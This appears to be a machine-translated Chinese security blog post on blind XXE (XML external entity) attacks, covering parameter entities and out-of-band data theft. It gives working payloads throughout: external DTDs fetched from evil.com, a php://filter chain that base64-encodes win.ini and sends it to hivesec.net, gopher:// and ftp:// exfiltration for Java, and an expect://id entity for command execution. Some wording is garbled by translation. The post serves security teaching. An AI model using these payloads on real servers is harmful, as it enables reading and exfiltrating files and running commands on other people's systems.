About blind XXE

About blind XXE

 

 

For Xxe, I have shared it internally a long time ago. I personally think there is not much fun about the vulnerabilities themselves, mainly because: the diversity of processing URIs in different languages and some features of different XML parser in parsing XML.

 

Before the popularization of blind Xxe, we assume that you have mastered XXE and learned basic knowledge about XML, entity, dcotype, and DTD.

The principle and utilization of blind XXE my vulnerability report on wooyun: The Blind XXE Import Vulnerability of fresh fruit RSS is also described in detail. You can refer to this example.

 

The general XXE uses a common entity to echo data, as shown below:

 

However, sometimes we will find that the ECHO is not successful. There are two common cases: the server prohibits external entity reference, and the server filters out or displays restrictions.

If the second type is used, blind XXE may appear.

 

Body

 

1. parameter entity

 

Most people do not understand or only know a little about the structure of parameter entities.

In XXE vulnerabilities, parameter entities are usually useless (Common entities are enough). We need to use parameter entities only when common entities are no longer "common!

In the standard definition of XML, parameter entities can be referenced only in DTD. The declaration and reference of parameter entities are both percent signs %. The reference of parameter entities is parsed in DTD, And the replaced text will become part of the DTD.

 

Let's look at an example of a parameter object:

12345678

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % param1 "<!ENTITY internal ‘http://hivesec.net‘>">%param1;]><root><test>[This is my site] &internal;</test></root>

The parameter object param1 contains the internal object declaration, used to replace the object reference parameter in the <Test> label.

Here, you must pay attention to the process. parameter entity parsing in DTD takes precedence over internal entity parsing in XML text.

 

Parameter entities have several features, which also determine the degree to which they can be used:

• Only internal DTD
• Reference now
• Entity nesting

You can only repeat the content in the DTD;

When the parameter entity is declared in the DTD, it must be referenced in the DTD.% Param1;The reference is completed;

Fortunately, single double quotation marks are supported in the DTD. Therefore, you can use single double quotation marks to differentiate the relationship between nested entities and entities. In actual use, we usually need to nest another parameter entity, and the % number is to be processed& Amp; #37;As follows:

1	<!ENTITY % param1 ‘<!ENTITY &#37; xxe SYSTEM "http://evil/log?%payload;" >‘

 

Ii. Blind XXE POC

 

After understanding the parameter entity, the blind XXE idea is very simple. The simplest thing is to send an HTTP request to our server through parameter entity reference, and then observe the log of our service:

12345

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://hivesec.net/blind_xxe_test">%remote;]><root/>

 

 

Although the parser reports an error (404), the HTTP request is still sent.

Therefore, the XXE vulnerability exists as long as the server receives requests from the resolution server.

 

Iii. Vulnerability exploitation: OOB

 

The blind xee and general XXE vulnerabilities are used in the same way: Reading files, DOS, and SSRF.

 

If I have nothing to talk about DOS, there will be more SSRF. Not only do I have to talk about it in one or two articles, but I also need some luck.

So here we will focus on getting data from reading files.

 

Compared with General Xxe, the difficulty of blind lies in OOB. With POC, our ideas can be sent through HTTP requests, so we are very happy to construct Exp:

12345678

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % info "1234"><!ENTITY % remote "<!ENTITY &#37; test SYSTEM ‘http://hivesec.net/?blind_xxe_exp=%info;‘>" >%remote;%test;]><root/>

 

However, I found that the test was not successful (PhP DOM) and this problem has not been solved.

Later, I learned from the XML data retrieval paper of Timur Yunusov and Alexey osipov. In this way, some XML parsers won't process this, and the solution is to introduce another file, the POC used is as follows: evil1.xml:

1234567

<?xml version="1.0" encoding="UTF-8" standalone="no" ?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://evil.com/webtest/xxe/oob_poc.xml">%remote;]> </root>

A malicious file oob_poc.xml is introduced above. The contents of this malicious file are as follows:

1234	<!ENTITY % payload "1111"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM ‘http://hivesec.net/?oob_poc=%payload;‘>">%int;%trick;

The specific behavior is to send the value obtained by the parameter entity % payload; to the hivesec.net server through an HTTP request.

 

Iv. OOB's actual problems and solutions

 

 

The string can be exported successfully. However, when we try to read a local file in practice, we will find a problem with the data obtained through the parameter entity reference, urlencode is not performed, and the parser has certain restrictions on the URL. As long as there is a carriage return line (the test finds that spaces and other tabs in PHP are not allowed), it will be checked as an invalid URL, directly intercept this request, so in practice, this is a problem that must be solved.

The process of solving this problem is actually quite interesting. Of course, after the tossing, we found that foreigners already have mature and reliable solutions. Here we will directly provide solutions for PHP and Java OOB:

1. in PHP, use PHP wrapper to process data (data: //, PHP ://);

12345

<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM ‘http://hivesec.net/?oob_poc=%payload;‘>"></pre><pre>%int;%trick;</pre><pre>

If the server is installed with the keep CT extension, it is very dangerous. This is where system commands can be executed (Facebook's 3 W $ ):

1	<!ENTITY a SYSTEM ‘expect://id‘>

 

2. in Java, the Gopher protocol can be used in earlier versions, and FTP protocol can be used in later versions.

1234	<!ENTITY % payload SYSTEM "file:///c:/Windows/win.ini"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM ‘gopher://evil.com/%payload;‘>">%int;%trick;

1234	<!ENTITY % payload SYSTEM "file:///c:/Windows/win.ini"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM ‘ftp://evil.com/%payload;‘>">%int;%trick;

I wrote an FTP demo using Py. the Java Dom test is as follows:

 

Other problems

1. parser restrictions:

• . Net System. XML will automatically perform urlencode;
• By default, the libxml Parser (PHP, Python, Ruby) limits the length of external entities to 2 kb and does not process space line breaks;
• The xerces2 parser of Java does not convert line breaks;

2. for Web Server uri get requests, Web containers generally limit the length (about 2 K or 4 K), but NC can solve this problem.

 

5. Subsequent remarks

 

There are many interesting stories encountered during the research process that I would like to share with you. Considering the valuable time, let's just forget it. However, there are still many interesting things in practice, you can study:

1. Protocols Supported by URIs in different operating systems and languages: for example, LDAP and win Network ("\ 10.0.0.1 \ e $ \ ivan.txt ");

2. Limits (length, symbols) of libxml (PHP, Python, Ruby), xerces2 (Java), and system XML (. NET) different XML parsing libraries ).

 

Refer:

Http://defcon.org.ua/data/2/2_Vorontsov_XXE.pdf

Https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf

Http://www.sensepost.com/blog/10178.html

Http://php.net/manual/en/wrappers.php

Http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html

 

About blind XXE